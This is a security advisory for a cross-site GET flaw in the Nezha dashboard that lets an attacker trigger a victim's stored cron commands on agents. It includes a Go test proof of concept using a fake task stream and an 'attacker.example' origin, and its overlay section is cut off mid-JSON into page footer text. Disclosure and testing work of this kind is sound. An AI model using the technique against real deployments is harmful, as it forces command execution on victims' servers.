github.com/nezhahq/nezha
Affected
- introduced
1.0.0, fixed2.0.14(semver)
Fixed versions
2.0.14
Fix
- Fixed version
2.0.14go get github.com/nezhahq/[email protected]
Advisory
Also known as: CVE-2026-49396, GO-2026-5261
Nezha has cross-site GET request that can trigger stored cron commands on a victim's agents
Summary
The dashboard exposes the cron manual-trigger action as an authenticated GET /api/v1/cron/:id/manual endpoint. Dashboard JWTs are sent in the nz-jwt cookie and configured with SameSite=Lax, which browsers include on top-level cross-site GET navigations. Because this state-changing GET endpoint has no CSRF token, origin validation, or fetch-metadata guard, an attacker can cause a logged-in Nezha user to trigger one of their existing cron tasks by navigating the victim's browser to the manual-trigger URL.
If the targeted cron task sends a command to an online agent, the stored command is dispatched to the agent task stream. The attacker cannot create or modify the cron command through this issue alone, but can force execution of a command that the victim already saved and is authorized to run.
Details
Source-to-sink chain:
auth.GET("/cron/:id/manual", commonHandler(manualTriggerCron)) at cmd/dashboard/controller/controller.go:131-134.CookieName: "nz-jwt", SendCookie: true, CookieSameSite: http.SameSiteLaxMode, and TokenLookup: "header: Authorization, query: token, cookie: nz-jwt" at cmd/dashboard/controller/jwt.go:23-46.cr.HasPermission(c), then calls singleton.ManualTrigger(cr) at cmd/dashboard/controller/cron.go:170-187.ManualTrigger immediately runs CronTrigger(cr)() at service/singleton/crontask.go:249-250.CronTrigger dispatches the stored command to online eligible agents via s.TaskStream.Send(&pb.Task{Id: cr.ID, Data: cr.Command, Type: model.TaskTypeCommand}) at service/singleton/crontask.go:289-304 after the owner/server check in cronCanSendToServer (service/singleton/crontask.go:315-317).Common.HasPermission returns true for admins or matching UserID at model/common.go:44-56. There is no CSRF token, Origin/Referer validation, or Fetch Metadata check on this GET action.False-positive screening:
ApiErrorUnauthorized and dispatched no task.SameSite=Lax mitigates cross-site POSTs, but this action uses GET; Lax cookies are still sent on top-level cross-site GET navigations, which is why state-changing GET endpoints remain CSRF-sensitive.PoC
Safe local proof used a Go test overlay only; no repository files were modified for the proof and no real command was executed. The test creates an in-memory SQLite database, a victim user, a victim-owned server with an in-memory fake task stream, and a victim-owned cron task with command text touch /tmp/should-not-run. It then performs two requests:
nz-jwt cookie. Expected result: response contains ApiErrorUnauthorized; zero tasks are dispatched.nz-jwt cookie. Expected result: API response succeeds and exactly one task is dispatched to the fake agent stream with Id=7, Type=model.TaskTypeCommand, and Data="touch /tmp/should-not-run".Command run from a clean checkout of the tested tree:
cat >/tmp/nezha-docs-stub.go <<'EOF'
package docs
var SwaggerInfo = struct {
Version string
}{Version: "test"}
EOF
cat >/tmp/nezha-cron-csrf-poc-test.go <<'EOF'
package controller
import (
"context"
"encoding/json"
"net/http"
"net/http/httptest"
"strings"
"testing"
"time"
"github.com/gin-gonic/gin"
"github.com/patrickmn/go-cache"
"google.golang.org/grpc/metadata"
"gorm.io/driver/sqlite"
"gorm.io/gorm"
"github.com/nezhahq/nezha/model"
"github.com/nezhahq/nezha/pkg/i18n"
pb "github.com/nezhahq/nezha/proto"
"github.com/nezhahq/nezha/service/singleton"
)
type capturedTaskStream struct { tasks []*pb.Task }
func (s *capturedTaskStream) Send(task *pb.Task) error { s.tasks = append(s.tasks, task); return nil }
func (s *capturedTaskStream) Recv() (*pb.TaskResult, error) { return nil, context.Canceled }
func (s *capturedTaskStream) SetHeader(metadata.MD) error { return nil }
func (s *capturedTaskStream) SendHeader(metadata.MD) error { return nil }
func (s *capturedTaskStream) SetTrailer(metadata.MD) {}
func (s *capturedTaskStream) Context() context.Context { return context.Background() }
func (s *capturedTaskStream) SendMsg(any) error { return nil }
func (s *capturedTaskStream) RecvMsg(any) error { return context.Canceled }
func TestCronManualTriggerAcceptsCookieAuthenticatedCrossSiteGET(t *testing.T) {
gin.SetMode(gin.TestMode)
db, err := gorm.Open(sqlite.Open("file:cron_csrf_poc?mode=memory&cache=shared"), &gorm.Config{})
if err != nil { t.Fatal(err) }
if err := db.AutoMigrate(&model.User{}, &model.Server{}, &model.Cron{}); err != nil { t.Fatal(err) }
if err := db.Create(&model.User{Common: model.Common{ID: 100}, Username: "victim", Role: model.RoleMember}).Error; err != nil { t.Fatal(err) }
if err := db.Create(&model.Server{Common: model.Common{ID: 200, UserID: 100}, Name: "victim-agent"}).Error; err != nil { t.Fatal(err) }
singleton.DB = db
singleton.Loc = time.UTC
singleton.Cache = cache.New(time.Minute, time.Minute)
singleton.Localizer = i18n.NewLocalizer("en_US", "nezha", "translations", i18n.Translations)
singleton.Conf = &singleton.ConfigClass{Config: &model.Config{ConfigForGuests: model.ConfigForGuests{SiteName: "test"}, JWTSecretKey: "test-secret-for-cron-csrf-poc", JWTTimeout: 1}}
singleton.ServerShared = singleton.NewServerClass()
singleton.CronShared = singleton.NewCronClass()
defer singleton.CronShared.Stop()
stream := &capturedTaskStream{}
server, ok := singleton.ServerShared.Get(200)
if !ok { t.Fatal("server missing from singleton") }
server.TaskStream = stream
cronTask := &model.Cron{Common: model.Common{ID: 7, UserID: 100}, Name: "victim cron", TaskType: model.CronTypeCronTask, Command: "touch /tmp/should-not-run", Servers: []uint64{200}, Cover: model.CronCoverIgnoreAll}
singleton.CronShared.Update(cronTask)
authMiddleware := initParams()
if err := authMiddleware.MiddlewareInit(); err != nil { t.Fatal(err) }
token, _, err := authMiddleware.TokenGenerator(map[string]interface{}{"user_id": "100", "ip": "203.0.113.10"})
if err != nil { t.Fatal(err) }
r := gin.New()
r.Use(func(c *gin.Context) { c.Set(model.CtxKeyRealIPStr, "203.0.113.10"); c.Next() })
auth := r.Group("", authMiddleware.MiddlewareFunc())
auth.GET("/api/v1/cron/:id/manual", commonHandler(manualTriggerCron))
wNoCookie := httptest.NewRecorder()
reqNoCookie := httptest.NewRequest(http.MethodGet, "/api/v1/cron/7/manual", nil)
reqNoCookie.Header.Set("Origin", "https://attacker.example")
reqNoCookie.Header.Set("Sec-Fetch-Site", "cross-site")
r.ServeHTTP(wNoCookie, reqNoCookie)
if !strings.Contains(wNoCookie.Body.String(), "ApiErrorUnauthorized") { t.Fatalf("expected unauthenticated control to fail, got status=%d body=%s", wNoCookie.Code, wNoCookie.Body.String()) }
if len(stream.tasks) != 0 { t.Fatalf("unauthenticated control dispatched %d task(s)", len(stream.tasks)) }
w := httptest.NewRecorder()
req := httptest.NewRequest(http.MethodGet, "/api/v1/cron/7/manual", nil)
req.Header.Set("Origin", "https://attacker.example")
req.Header.Set("Sec-Fetch-Site", "cross-site")
req.AddCookie(&http.Cookie{Name: "nz-jwt", Value: token})
r.ServeHTTP(w, req)
var resp struct { Success bool `json:"success"`; Error string `json:"error"` }
if err := json.Unmarshal(w.Body.Bytes(), &resp); err != nil { t.Fatalf("decode response: %v body=%s", err, w.Body.String()) }
if !resp.Success { t.Fatalf("manual trigger failed: status=%d body=%s", w.Code, w.Body.String()) }
if len(stream.tasks) != 1 { t.Fatalf("expected one dispatched task, got %d", len(stream.tasks)) }
dispatched := stream.tasks[0]
if dispatched.Id != 7 || dispatched.Type != model.TaskTypeCommand || dispatched.Data != "touch /tmp/should-not-run" { t.Fatalf("unexpected dispatched task: id=%d type=%d data=%q", dispatched.Id, dispatched.Type, dispatched.Data) }
}
EOF
cat >/tmp/nezha-overlay-cron-csrf.json <<'EOF'
{
"Replace": {High Basis: The source's own band: HIGH
1.0.0, fixed 2.0.14 (semver)2.0.14
2.0.14go get github.com/nezhahq/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0